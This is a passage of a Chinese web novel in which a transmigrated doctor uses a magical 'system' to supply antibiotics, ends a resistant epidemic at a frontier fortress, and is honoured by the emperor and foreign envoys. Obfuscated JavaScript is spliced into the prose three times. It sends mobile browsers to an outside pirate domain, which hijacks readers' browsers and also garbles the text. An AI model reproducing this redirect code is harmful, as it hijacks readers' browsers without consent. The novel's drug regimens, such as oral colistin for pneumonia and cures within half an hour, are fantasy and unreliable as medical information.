老人、孩子、妇女…个个面色潮红,咳喘不止,有的甚至口唇青紫,奄奄一息。 哭声、咳嗽声、哀嚎声交织在一起,如同人间炼狱。 “站住!什么人?”民兵首领哑着嗓子喊道,声音带着绝望。 “不准进镇,滚,都滚开,瘟疫,有瘟疫!” “放肆!”王猛上前一步,厉声喝道,“镇国公杜仁绍,奉旨北上防疫,速开栅栏!” “镇国公?”民兵首领一愣,随即眼中爆发出狂喜。 “是…是镇国公?,还有…还有李医仙?天呐!救星来了!救星来了!快!快开栅栏!” 栅栏被迅速移开。 杜仁绍和李梵娘率队入镇。 眼前的景象让所有人倒吸一口冷气。 街道冷清,商铺紧闭,空气中弥漫着浓烈的药味、血腥味和…尸体的腐臭。 家家户户门窗紧闭。 临时隔离区里,病人挤在一起,缺医少药,如同待宰的羔羊。 “国公爷!夫人!救救我们吧!”民兵首领扑通跪倒在地,涕泪横流。 “镇上的大夫…都病倒了,药…早就没了,每天…都有人死啊!” “起来!”杜仁绍沉声道,“王猛!赵虎!” “末将在!” “立刻接管镇防,设立隔离区,将病人按轻重分区,健康者与病患严格隔离,所有尸体…集中焚烧深埋,水源管控!食物统一分配!” “得令!” “刘二柱!”李梵娘看向医疗队,“立刻搭建临时医疗点,穿戴防护,准备救治!” “是!夫人!” 玄甲军迅速行动,封锁街道,清场隔离,搭建帐篷。 医疗队则迅速穿戴好防护服和口罩,在镇中心广场搭建起临时医疗点。 李梵娘亲自坐镇。 她迅速检查了几个重症病人。 症状与密报描述一致写,高热、咳喘、胸痛、肺部嘶啦声明显,口唇青紫。 “重症立刻注射青霉素,吸氧,退热。”李梵娘吩咐。 医工们立刻行动,在带来的简易制氧机支持下,病人呼吸困难的症状得到缓解。 青霉素注射下去,效果立竿见影,几个高烧不退、意识模糊的重症病人,在注射后半个时辰内,体温开始下降,呼吸也平稳了一些。 “神药!真是神药啊!”民兵首领和幸存的镇民看到这一幕,激动得热泪盈眶,纷纷跪地磕头,“谢谢国公爷!谢谢夫人!谢谢活菩萨!” 李梵娘顾不上这些,她迅速筛出来轻症病人,发放口服抗生素,让他们居家隔离,按时服药。 同时,组织人手,用酒精和生石灰对全镇进行彻底消毒,发放口罩,告诉他们应该注意些什么。 黑石镇,终于看到了希望的曙光。 李梵娘心中的隐忧却越来越重。 在救治过程中,她发现部分病人对青霉素的反应不如预期,退热慢,症状缓解不明显。 甚至…有极少数病人,在用药后病情反而加重。 “系统,帮我扫描一下这些病人,是怎么回事?有抗药性了?”李梵娘急问。 【宿主,没猜错,确实有耐药性,而且还是多重耐药菌,建议你用升级抗生素,头孢曲松或着美罗培南。】 李梵娘心头一沉,这可比普通肺炎难对付十倍,在医疗资源匮乏的古代,这几乎是致命的。 “刘二柱!”李梵娘立刻下令,“将所有对青霉素反应不佳的病人单独隔离,标记为‘重症特殊’!治疗方案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359818|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …改用头孢曲松,剂量加倍,严密观察。” “是!夫人!”刘二柱领命而去。 “系统,给我拿头孢曲松钠注射剂、美罗培南注射剂;静脉输液套装。” 李梵娘庆幸幸亏系统商城免费开放,要不然现在她也束手无策。 有了更强效的抗生素,那些耐药病人的病情终于得到控制。 但李梵娘知道,这只是权宜之计。 如果耐药菌扩散开来,后果不堪设想,必须尽快赶到朔风堡,那里是病源,病人更多,情况可能更糟。 “仁绍!”李梵娘找到正在指挥士兵加固隔离区的杜仁绍,“黑石镇疫情暂时稳住,但情况复杂,我们必须立刻赶往朔风堡!那里…恐怕更危急!” “好!”杜仁绍点点头,“王猛!赵虎!留一百人协助黑石镇维持秩序,其余人立刻拔营,目标朔风堡,全速前进!” 队伍再次启程。 越靠近朔风堡,气氛越发压抑。 沿途村庄十室九空,田地荒芜。 偶尔遇到的行人,也是面黄肌瘦,神色惊恐,远远看到军队就躲开。 空气中弥漫着绝望的气息。 终于,朔风堡死气沉沉的城墙出现在地平线上。 城墙上,守卫稀疏,旗帜低垂。 城门紧闭,吊桥高悬。 一股浓烈的药味和腐臭味,即使隔着老远也能闻到。 “城下何人?!”城楼上,守军有气无力地喊道。 “镇国公杜仁绍!奉旨防疫!速开城门!”王猛高声喝道。 “镇国公?是国公爷来了!” 城楼上顿时一阵骚动,很快,城门开启,吊桥放下。 杜仁绍和李梵娘率队入城。 眼前的景象,让久经沙场的玄甲军士兵都忍不住倒吸一口冷气。 朔风堡内,一片死寂,街道空无一人,只有寒风卷起地上的落叶和垃圾。 家家户户门窗紧闭,死气沉沉。 空气中弥漫着浓烈的生石灰味和掩盖不住的尸臭。 临时搭建的隔离区人满为患,尸体用草席裹着,堆在角落,无人处理。 几个穿着军服、面黄肌瘦的士兵在勉强维持秩序,眼神中充满了麻木和绝望。 第一百六十八章 峰回路转 “国公爷!夫人!你们可算来了!”一个中年将领踉跄着迎了上来,扑通跪倒。 “末将…朔风堡守将陈锋…参见国公,夫人,求国公…夫人…救救我们吧!” “陈将军请起!”杜仁绍扶起他,“情况如何?” “惨…太惨了!”陈锋声音嘶哑,带着哭腔,“军中…十停病倒了七停,能站着的…不足三成,军医…全病倒了,药…早就没了!” “每天…都死几十号人,百姓…百姓更惨,城里…城外…到处都是**啊!” “末将…末将无能,末将…愧对朝廷,愧对弟兄们啊!”这个铁打的汉子,此刻泣不成声。 李梵娘看着眼前的景象,心在滴血。 疫情比她想象的还要严重十倍。 而且…系统刚刚说这里也有耐药菌,让她心头更加沉重。 “陈将军,立刻带我们去军营隔离区。”李梵娘看着他。 “王猛,赵虎,接管城防,全城**,划分隔离区。” “健康者、轻症、重症按区分开。所有尸体立刻集中焚烧深埋,水源,食物,严格管控,违令者!斩!” “得令!”王猛、赵虎领命而去。 “刘二柱,医疗队,做好防护跟我来。”李梵娘厉声道。 “是!” 在李梵娘的指挥下,朔风堡这座濒临崩溃的死城,也开始行动起来。 李梵娘亲自坐镇重症区。 眼前的景象触目惊心。 病床上,士兵们脸色青紫,呼吸急促的像风箱,咳出的痰带着血丝甚至脓块。 【宿主,他们这儿比刚刚那里还严重,这儿这个是混合耐药菌感染,死亡率预估超50%。】 李梵娘眼前一黑,这简直是地狱级难度。 李梵娘咬牙下令,所有人注射头孢曲松,这是目前最强的常规抗生素了。 然而,效果…微乎其微,大部分重症病人病情依旧在恶化。 “夫人,不行啊,效果不大!”刘二柱急得满头大汗。 “用美罗培南。”李梵娘当机立断,这是最后的希望了。 【警告,宿主,美罗培南存量有限,仅够救治部分重症。】 “顾不了那么多了,先救最危重的!”李梵娘红着眼睛,“快!” 美罗培南注射下去,效果立竿见影。 几个濒死的士兵,呼吸逐渐平稳,高烧减退。 “有效!有效了!”人们激动地喊道。 然而,李梵娘的心却沉到了谷底,美罗培南存量太少,杯水车薪。 而且…她看到,一些注射美罗培南的病人,病情虽然缓解,但体内病菌并未完全清除,耐药性…太强了。 “系统!还有没有其他办法?更强的药!立刻见效的药!”李梵娘近乎绝望。 【哎,等等等等,宿主,找到了替加环素、利奈唑胺、多粘菌素E。这几个玩意儿有效,给你放空间了。】 这些可都是现代医学对抗超级细菌的王牌,李梵娘看到了希望。 “刘二柱!”李梵娘猛地转身,有些悸动激动。 “换新药,重症病人,注射替加环素,危重病人,加用利奈唑胺,轻症及稳定病人,口服多粘菌素E!快!” “是!夫人!”刘二柱虽然不明所以,但对李梵娘的命令无条件信任,立刻换药。 所有的药被注射、分下去。 在众人的注视下,奇迹发生了。 短短半个时辰。 “热…热退了!王老五的烧退了!”一名医工惊喜地喊道。 “咳喘!咳喘轻了!李二狗能喘上气了!”另一名医工激动地报告。 “青紫!脸色不紫了!张铁牛嘴唇有血色了!”惊喜的声音此起彼伏。 那些原本气息奄奄、高烧不退、咳喘欲绝的重症病人,在以肉眼可见的速度好转,体温下降,呼吸平稳,痛苦的表情逐渐舒缓。 “神药!真是神药啊!” “夫人万岁!医仙万岁!” “我们有救了!兄弟们有救了!” 隔离区内,瞬间爆发出震天的欢呼和喜极而泣的哭声。 所有人都狂热的看向那个站在病床前的身影——李梵娘。 她就是朔风堡的救世主,是上天派来的活菩萨。 李梵娘紧绷的神经终于松弛下来,疲惫感涌上心头,但更多的是激动。 她成功了! 她又一次从死神手里抢回了这些鲜活的生命。 “继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359819|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续用药!严密观察!不能松懈!”她强撑着精神下令。 “是!夫人!”医工们士气大振,干劲十足。 三管齐下,效果立竿见影。 朔风堡的病情,迅速好转。 重症病人病情稳定,脱离危险期。 轻症病人快速康复,新增病例急剧减少,死亡…终于停止了。 士兵们互相搀扶着下床活动,脸上露出了久违的笑容。 医工们穿梭其间,分发药物,检查恢复情况,虽然疲惫,但个个精神抖擞。 李梵娘依旧不敢有丝毫松懈。 她带人对康复病人进行严格复查,确保没有残留病菌。 同时,指导士兵和百姓进行彻底的环境消毒和个人卫生清洁。 杜仁绍则指挥玄甲军,维持秩序,分发救济粮,安抚民心,重建被疫情破坏的秩序。 “国公爷!夫人!”朔风堡守将陈锋,这位铁打的汉子,此刻红着眼眶,带着幸存的军官们,齐刷刷跪倒在李梵娘和杜仁绍面前。 “末将…代朔风堡全体军民!叩谢国公爷和夫人救命大恩!再造之恩!永世不忘!” 他声音哽咽,重重磕下头。 “陈将军请起,”杜仁绍上前扶起他,“保家卫国,救民水火,乃我辈本分,要谢,就谢你们自己的坚持,谢我夫人的仁心仁术。” “谢夫人!”众人再次向李梵娘叩首。 李梵娘连忙摆手:“大家快快请起,疫情虽控,但余毒未清,还需谨遵医嘱,按时服药,注意休养!切不可大意!” “谨遵夫人教诲!”众人齐声应道。 消息如同长了翅膀,飞遍朔风堡内外。 百姓们走出家门,走上街头,喜极而泣。 他们自发**到军营外,向着李梵娘的方向跪拜,高呼“医仙娘娘”、“活菩萨”。 北境王萧战闻讯,亲自率领王府卫队,快马加鞭赶到朔风堡。 当他看到城内恢复秩序,军民脸上重现生机时,这位威震北疆的王爷,也忍不住热泪盈眶。 “镇国公!李夫人!”萧战大步上前,对着两人深深一揖,“本王…代北境百万军民,谢二位力挽狂澜,救我北境于水火!此恩此德!北境永世铭记!” 第一百六十九章 祠堂供奉 “王爷言重了!”杜仁绍和李梵娘连忙还礼。 “李夫人医术通神,仁心济世,真乃当世无双!”萧战看着李梵娘,眼中充满了敬佩和感激。 “本王已上奏朝廷,为夫人请功,北境各地,将为夫人立生祠!世代供奉!” “王爷厚爱,愧不敢当。”李梵娘谦虚的说着,“当务之急,是防止疫情再次发生,帮助军民恢复生产生活。” “夫人所言极是!”萧战点头,“本王已调集粮草、药材、工匠,全力支援朔风堡重建!一切…都由医仙您安排!” 有了北境王府的全力支持,朔风堡的重建工作顺利进行。 李梵娘将防疫经验整理成册,分发各地。 杜仁绍则协助萧战,整顿边防,安抚流民百姓。 十日后,朔风堡的病情宣告彻底结束,死亡人数被控制在最低,大部分病人康复。 这座饱经磨难的边城,终于度过了困难,恢复了昔日的生机。 朔风堡事了,李梵娘和杜仁绍决定班师回京。 北境王萧战率文武百官及朔风堡军民,举行了盛大的欢送仪式。 城门外,人山人海。 百姓们扶老携幼,夹道相送。 他们手中捧着鸡蛋、干粮、甚至只是几颗野果,眼含热泪,高喊着“国公爷保重!”、“医仙娘娘一路平安!”、“恩人慢走!”。 李梵娘坐在马车上,看着车窗外那一张张淳朴而感激的脸庞,听着那发自肺腑的感谢,心中充满了感动和温暖。 这一刻,所有的疲惫和艰辛都烟消云散。 医者仁心,莫过于此。 杜仁绍骑在马上,看着妻子眼中闪烁的泪光,心中充满了骄傲。 他策马靠近车窗,低声道:“累了吧?靠着我歇会儿。” 李梵娘摇摇头,微笑道:“不累。看到他们好好的,比什么都好。” 队伍缓缓启程。玄甲军在前开道,军容整肃。 医疗队的马车紧随其后,刘二柱等医工们脸上洋溢着自豪的笑容。 杜仁绍和李梵娘的车驾在队伍中央。 回京的路途,不再像来时那般紧张,气氛凝重。 阳光明媚,微风徐来。 沿途的百姓听闻是“医仙娘娘”的队伍,纷纷自发在路边设下香案,焚香叩拜。 “夫人!您看!”刘二柱指着远处山岗上隐约可见的一座小庙。 “那是…百姓们给您立的生祠!叫‘医仙娘娘庙’!” 李梵娘抬眼望去,只见远处,一座气派的庙宇立在那里,香火袅袅。 她心中感慨万分,对杜仁绍道:“仁绍,你看…百姓的心意,最是珍贵。” “都是你应得的。”杜仁绍目光温柔,“你用你的医术和仁心,救了那么多百姓。这份功德,配得上这万民敬仰。” 队伍行进到黑石镇,同样受到了热烈的欢迎。 黑石镇已恢复往日生机,百姓们安居乐业。 镇长带着全镇百姓,在镇口跪着迎接,为李梵娘献上“医仙娘娘”的牌匾。 一路行来,赞誉无数。 李梵娘“医仙”、“神女”之名,早已传遍大江南北。 她的故事,被编成歌谣,四处传唱,一时间,名声大噪。 十日后,京城在望。 城门外,百姓拉着横幅,鼓乐喧天。 皇帝亲率文武百官,出城十里相迎,九皇子李睿(已经被立为太子了)、周院正、教**局众弟子、以及无数京城百姓,眼巴巴的看着这个方向。 “来了!来了!国公爷和夫人回来了!”人群开始不断有欢呼声响起。 杜仁绍和李梵娘下车,上前拜见皇帝。 “爱卿,快快平身!”皇帝亲自上前,扶起两人,龙颜大悦。 “北境大捷,病情尽除,救百姓于水火,功在社稷,利在千秋,朕心甚慰,朕心甚慰啊!” “陛下过誉,此乃我等分内之事。”杜仁绍和李梵娘躬身道。 “传朕旨意!”皇帝满脸喜悦道,“镇国公杜仁绍,护国佑民,功勋卓著,加封一等镇国公,**罔替,赐丹书铁券,赏黄金万两,良田千顷。” “奉圣夫人李梵娘,医术通神,仁心济世,活人无数,功盖千秋,特加封‘护国圣手医仙’,位同亲王,赐玉如意、珍珠冠、享太庙祭祀。” “另,敕令天下州县,广建‘医仙庙’,受万民香火供奉,永彰其德!” “臣(臣妇)叩谢陛下隆恩!”杜仁绍和李梵娘叩拜谢恩。 “医仙娘娘千岁千岁千千岁!”人群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365993|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中爆发出欢呼,声音传出很远。 李梵娘抬起头,看着眼前的场面,看着身边爱人的笑容,看着远处被张大娘抱在怀里挥手的女儿…… 心里是从未有过的平静与满足。 她知道,她的路,还很长。 但此刻,她只想享受这份荣光,以及…来之不易的安宁。 就在这时,一名礼部官员匆匆走到李睿身边,低声说了几句。 李睿脸色微变,随即走到皇帝身边,低语道:“父皇…西羌、南诏、高丽、琉球、北狄…五国使团联名递上国书,已在鸿胪寺等候多日…请求觐见…护国医仙娘娘!” “五国使团联名觐见?”皇帝一听这话,眼神微凝,随即朗声大笑。 “哈哈哈,好,好,来得正好,让他们一同入席。” “今日,朕要为镇国公和护国医仙庆功,也让这些番邦使节,见识见识我大胤的国威与仁德!” “遵旨!”礼部官员立刻领命而去。 杜仁绍与李梵娘在皇帝和百官的簇拥下,在百姓们的“国公威武!医仙娘娘千岁!”的欢呼声中,到了早已设下宴席的皇家琼林苑。 园内张灯结彩,丝竹管弦悠扬,好不热闹。 文武百官按品阶落座,气氛热烈。 中央主位,皇帝端**,太子李睿侍立一旁,气色红润,精神奕奕。 杜仁绍与李梵娘的位置被安排在帝位下面最显眼的地方,课件颇受圣宠,皇帝重视。 不多时,内侍高声喊话:“西羌、南诏、高丽、琉球、北狄五国使臣前来觐见!” 园门大开,五队身着各异服饰的使臣走进来。 为首的人,皆是各国重臣或继承人。 西羌使臣是一位长相冷峻的中年男人,身着五彩锦袍,腰佩一把弯刀,眉宇间带着忌惮和审视。 南诏使臣正是曾与李梵娘在国宴上有过交集的大祭司,他身后跟着一个小姑娘。 小姑娘一踏入琼林苑,就一刻也不停的开始四处张望,当她的目光落在李梵娘身上时,眼睛亮晶晶的。 高丽使臣则是一个儒雅的文官,态度谦和。 琉球使臣则是一个皮肤黝黑、笑容爽朗的汉子。 北狄使臣就不用说了,正是阿史那咄吉的心腹大将巴图。 第一百七十章 五国来朝 “姨姨!是姨姨!”玉萝公主看到李梵娘,再也按捺不住心里的激动劲儿,挣脱了大祭司的手,提着裙摆就朝着李梵娘的方向小跑过来。 “玉萝!”大祭司低声呼唤,却没能拦住。 所有人的目光瞬间被这活泼的小姑娘吸引。 玉萝跑到李梵娘座前,小脸红扑扑的,眼里满是崇拜和依恋,她像模像样地行了一个南诏宫廷礼,声音清脆悦耳。 “玉萝拜见姨姨!姨姨万福金安!” 李梵娘看着眼前气色红润的玉萝公主,心中涌起一股暖流。 她连忙起身,扶起玉萝,眼中满是笑意和欣喜:“玉萝快起来,身体可都好了?” “好了!全好了!”玉萝用力点头,“多亏了姨姨,玉萝现在能吃能睡,还能骑马射箭呢!” 她说着,还像模像样地比划了一下拉弓的动作,不是很标准,但引得席间一片笑声。 “姨姨,玉萝好想你!”玉萝撒娇的拉住李梵娘的手,脸上满是依恋。 “母后和国舅爷爷也天天念叨姨姨的恩情,这次玉萝求了好久,才能跟着大祭司一起来看姨姨,我还给姨姨带了礼物!” 她说着,从随身的锦囊里掏出一个用红绳串着的羊脂白玉平安扣。 “这是玉萝在神山祈福时求来的,保佑姨姨永远平安喜乐,姨姨你喜不喜欢我送的呀?” 李梵娘看着手中带着小丫头体温的平安扣,心中很是感动,这丫头…… “谢谢玉萝,姨姨很喜欢。” 这一幕温馨的“姨甥重逢”,让在场众人看的心里也很有触动。 皇帝龙颜大悦:“玉萝公主天真烂漫,知恩图报,甚好,赐座!” 玉萝这才想起场合不太对,自己看到姨姨有些激动了。 怪不好意思地吐了吐舌头,向皇帝行礼谢恩后,才欢欢喜喜地在大祭司身边坐下,但目光依旧时不时地飘向李梵娘,满眼星星。 随后,五国使臣依次上前,向皇帝敬酒说贺词,表达对大胤的敬意。 南诏大祭司起身,深深一揖:“南诏国主及万民,感念医仙娘娘的救命之恩,娘娘在国宴解蛊毒,救我国主于垂危,更救下我国唯一的继承人玉萝公主!” “大恩大德,南诏永世不忘,特献上‘千年血玉髓’一对,愿佑娘娘福寿安康,并恳请娘娘垂怜,允许我南诏医者入教**局学习,惠泽南疆苍生。” 李梵娘含笑起身还礼:“大祭司言重了。救死扶伤,医者本分。南诏子民若有心学习医术,教**局自当万分欢迎。” 高丽、琉球使臣也相继表达了对李梵娘医术的仰慕,希望能加强医学交流。 轮到西羌使臣时,他脸色不是太好,起身举杯,声音有些生硬:“护国医仙娘娘医术通神,名震四海。我西羌…也很佩服。” “前番…摩罗之事,多有得罪,新王特命本使致歉。愿献上‘雪山灵芝’十株,聊表心意。望…日后能有机会,向娘娘请教医术。” 李梵娘神色平静,举杯示意感谢:“使臣客气,医术之道,本为济世。若有真才实学、心怀仁善的医者,教**局的大门,始终敞开。” 最后是北狄巴图,他哈哈一笑,再次举杯:“妹妹,大可汗可说了,北境之事,你做得痛快,草原的汉子,佩服!这杯酒,敬妹妹!也敬我妹夫!干了!” 他豪爽地一饮而尽。 杜仁绍也举杯回敬,两人相视一笑。 觥筹交错间,玉萝公主时不时小声跟大祭司说着什么,然后冲着李梵娘甜甜地笑,仿佛有说不完的话想跟她的“救命姨姨”分享。 宴会持续到深夜,宾主尽欢。 五国使臣带着各自的心思离开。 回府的马车上,李梵娘靠在杜仁绍肩头,脸上带着笑意:“玉萝这孩子,真是长大了,也更活泼了。” “嗯,”杜仁绍揽着她,“看到她好好的,比什么都强。明天,终于可以去温泉庄子了。” “嗯!”李梵娘点头,眼里满是期待,“好好陪陪春儿,也…好好休息。” 温泉哎,她在现代工作的都没时间泡温泉,终于有机会感受一下纯天然无公害的温泉了。 第二日清晨,天朗气清。 一辆马车驶离了京城。 车厢内,春儿兴奋得趴在车窗上,看着外面飞速**的田野和树林,叽叽喳喳的问个不停:“娘!温泉是什么呀?是热热的水吗?可以游泳吗?” “爹!庄子大不大?有没有小兔子?小鸭子?” 杜仁绍和李梵娘相视一笑,耐心地回答着女儿的问题。 看着女儿红扑扑的脸和亮晶晶的眼睛,连日来的疲惫都 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温热的泉水,驱散了深秋的寒意。 李梵娘舒服地喟叹一声,靠在光滑的池壁上,闭上眼享受。 杜仁绍坐在她身边,侧头看着她。 李梵娘的脸泛着健康的红晕,长长的睫毛上挂着细小的水珠,神情放松而恬静,比平日里少了几分威严,多了几分小女人的柔美。 他心中一动,伸手揽住她的肩膀,让她靠在自己怀里。 “舒服吗?”他低声问,声音沙哑。 “嗯…”李梵娘慵懒地应着,像只餍足的猫,在他怀里找了个更舒服的位置,“好久…没这么放松了。” 杜仁绍低头,下巴轻轻蹭着她的发顶,嗅着她发间淡淡的清香,心中一片满足。 他轻轻抚过她的肩头,那里曾经在云州城头被碎石划过一道浅痕,如今只剩下淡淡的印记。 “这里…还疼吗?”他指腹摩挲着那道几乎看不见的疤痕。 李梵娘睁开眼,看着他眼中毫不掩饰的心疼,摇摇头:“早就不疼了。一点小伤而已。” “在我眼里,你受的任何一点伤,都不是小事。” 第一百七十一章 南诏之愿 “朔风堡…看到你日夜不休地守在病人身边,累得脸色苍白,我…”他顿了顿,手臂收得更紧了些,“我恨不得把那些病痛都替你受了。” 李梵娘心头一暖,反手握住他放在自己腰间的手,十指相扣。 “说什么傻话。我是医生,治病救人是我的职责。看到他们好起来,再累也值得。” 她抬起头,对上他的眼睛:“倒是你,带着兵在疫区维持秩序,风险更大。每次看到你穿着盔甲巡视回来,我都提心吊胆。” “我有分寸。”杜仁绍嘴角勾起一抹弧度,“为了你和春儿,我也会保护好自己。我还要…护着你们一辈子呢。” “爹!娘!看!我找到小贝壳啦!”春儿清脆欢快的声音打破了宁静。 小家伙举着一个白色的贝壳,献宝似的跑过来,应该是仆人放进去装饰用的。 “真棒!”李梵娘笑着夸赞。 杜仁绍伸手将女儿抱在怀里,用毛巾裹住她湿漉漉的身子:“小心着凉。” “爹,水暖暖的!好舒服!”春儿搂着杜仁绍的脖子,撒娇道,“爹也来小池子玩嘛!” “好,爹陪你玩。”杜仁绍抱着女儿走向浅水池。 李梵娘看着父女俩在浅水里嬉戏打闹,两人满脸是水,阳光透过水汽洒下,镀上一层金光。 夕阳西下,将天边染成很美的金红色。 一家人泡在池子里,看着落日余晖洒满山林,听着归巢鸟儿的鸣叫。 “梵娘,”杜仁绍的声音在耳边响起,“等开春,我们带春儿去江南看看吧?听说那里风景如画,四季如春。” “好。”李梵娘靠在他肩头,嘴角含笑,“都听你的。” 温泉庄子三日的悠闲时光,如同给紧绷的发条松了扣,让人身心舒缓了不少。 回府的路上,马车里,春儿叽叽喳喳地说着在温泉里“打水仗”,还比划着杜仁绍“笨拙”落水的样子,惹得李梵娘忍俊不禁。 “娘亲!春儿以后还要来泡水!”春儿眼巴巴的看着她。 “好,还来。”李梵娘捏了捏她的脸。 杜仁绍在旁边一脸宠溺地任由女儿“编排”,伸手护着她和李梵娘,防止马车颠簸把两人磕着碰着。 回到镇国公府,府内一派祥和。 张大娘早就准备好了饭菜,很丰盛。 春儿玩累了,很快就睡着了,脸上还带着笑意,嘴角还有一丝口水。 李梵娘和杜仁绍沐浴更衣,坐在暖阁里,一人捧着一杯热茶。 “真希望…这样的日子能久一点。”李梵娘靠在软榻上,轻声感叹。 杜仁绍握住她的手,放在掌心轻轻摩挲:“会的。等开春,江南之行,会更惬意。” 就在这时,管家张贵脚步轻快地走了进来,脸上带着一丝笑意:“国公爷,夫人,南诏大祭司携玉萝公主来访,正在前厅等候。” “哦?这么快就来了?”李梵娘有些意外,随即想到玉萝那孩子黏人的性子,又觉得在情理之中。 自己不过是给她看了一次病,这小丫头就粘在了她身上。 她看向杜仁绍,“一起去见见?” “好。”杜仁绍点头,“玉萝那孩子,倒是真喜欢你。” 两人来到前厅,只见南诏大祭司正襟危坐,脸上带着笑意。 而玉萝公主坐不住,正踮着脚尖,打量着厅堂里的陈设。 一见到李梵娘的身影出现在门口,她眼睛瞬间亮了。 “姨姨!姨姨!”玉萝的声音里满是雀跃,一头扑进李梵娘怀里,紧紧抱住她的腰。 “玉萝好想姨姨,温泉好玩吗?春儿妹妹呢?” 李梵娘被她撞了个满怀,笑着搂住她:“玉萝乖,温泉很好玩,春儿妹妹玩累了,在睡觉呢。姨姨也想玉萝了。” 她仔细看着怀中的小丫头,气色红润,眼神灵动,比在琼林苑时更添了几分生气,显然身体恢复得极好。 “姨姨,玉萝又给你带了礼物!”玉萝献宝似的从袖袋里掏出一个小巧精致的竹编小盒子,里面是几颗晶莹的红色果子。 “这是南诏神山上的‘朱颜果’,可甜了!玉萝亲手摘的!给姨姨尝尝!” “谢谢玉萝!”李梵娘接过小盒,看着她期待的眼神,心中暖意融融,“玉萝真有心。” “夫人,公主殿下得知您从温泉庄子回来,便一刻也等不及要来看您。” 大祭司起身,含笑行礼,“打扰国 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他再次起身,双手奉上一卷用金丝楠木盒装着的卷轴:“此乃我国主亲笔国书,南诏愿奉夫人为‘南诏国师’,享王爵尊荣!” “恳请夫人…移驾南诏,主持建立‘南诏医药教**局’,传授医道,培养良医,惠泽南疆百姓。” “南诏愿举国之力,供夫人差遣,并…恳请夫人收玉萝公主为徒,传授医术!” “收玉萝为徒?”李梵娘有些意外,看向身边依偎着自己的小丫头。 玉萝立刻抬起头,眼里满是对医术的渴望:“李姨姨,玉萝真的好想学医术,想像姨姨一样,救好多好多的人,让他们不再受病痛折磨,玉萝不怕苦也不怕累,姨姨教玉萝好不好?” 她拉着李梵娘的衣袖,轻轻摇晃着,语气带着撒娇,眼神却无比认真。 李梵娘看着玉萝的眼睛,心里也有了收她想法。 这孩子的赤诚之心,心思也简单,让她想起了自己初学医时的热忱。 她轻轻拍了拍玉萝的手:“学医很苦的,玉萝真的想学吗?” 第一百七十二章 两小只 “想!”玉萝用力点点头,“玉萝不怕苦,玉萝看到姨姨救人的样子,好厉害,玉萝也想像姨姨那样!” 杜仁绍在一旁静静看着,没有插话。 他知道,梵娘自有决断。 李梵娘沉吟片刻,看向大祭司:“大祭司,国主和南诏百姓的信任,梵娘深感荣幸。但是要我移驾南诏,主持教**局,此事非同小可,且不现实。” “我是大胤臣民,身负皇命,执掌皇家医药教**局,不可能前往且长久居于南诏。” 大祭司眼中闪过失望,但依旧没有放弃:“夫人所言极是。老夫也知道知此事为难。但是…南疆百姓之苦,老夫实在是难以做到视而不见。不知夫人…可想到什么变通的方法,使其两全其美。” 李梵娘微微一笑:“变通之法,自然是有的。梵娘虽不能亲自前往南诏,但可以派遣教**局得力的弟子,带着教材、器械,前往南诏,协助你们建立教**局,传授基础医理、防疫、急救之术。” “同时,南诏也可选派聪慧、仁心之子弟,入我大胤教**局学习深造。” “如此,既解了南诏燃眉之急,又能够培养南诏本土良医,惠泽长远。至于玉萝…” 她看向玉萝,眼中带着笑意:“若玉萝真心想和我学习医术,又得国主与大祭司首肯,可随南诏学子一同入京,入教**局学习。梵娘一定悉心教导,视如己出。如何?” 大祭司一听这话,眼中失望消失,取而代之的是惊喜和感激。 他没想到李梵娘会考虑的如此周全,派遣弟子、接收学子,这比直接请她过去更现实。 而且,玉萝公主能入教**局,得李梵娘亲自教导,更是意外之喜。 “夫人想的很是周到,老夫…代南诏国主及百姓,叩谢夫**恩!”大祭司激动得再次起身,深深拜下。 “大祭司快快请起!”李梵娘连忙扶人,“这是医者本分,当不得如此大礼。” 玉萝更是高兴得跳了起来,一把抱住李梵娘:“谢谢姨姨!姨姨最好了!玉萝一定好好学!不辜负姨姨的期望!” “好孩子。”李梵娘笑着摸摸她的头。 “夫人,”大祭司平复了一下激动的心情,又道,“国主还有一事相求。南诏盛产奇珍药材,然…许多药材的炮制、配比的方法,要么失传,要么过于简陋。” “国主知夫人精通药理学识,恳请夫人闲暇时,能指点一二,或…能否请夫人编撰一部《南疆本草药典》,详细叙述南疆药材的性味、功效、炮制、配比的方法?南诏愿倾尽所有药材资源,供夫人研究!” 编撰药典? 李梵娘心中一动。 这倒是个利在千秋的好事,系统商城里的药材知识,正好可以借此机会整理出来,惠及百姓百姓,利国利民,也能丰富这个时代的医学教材。 “这个事情可以。”李梵娘点头应允,“不过,非一日之功。需要南诏提供详细的药材样本和图谱,我便可着手整理编撰。” 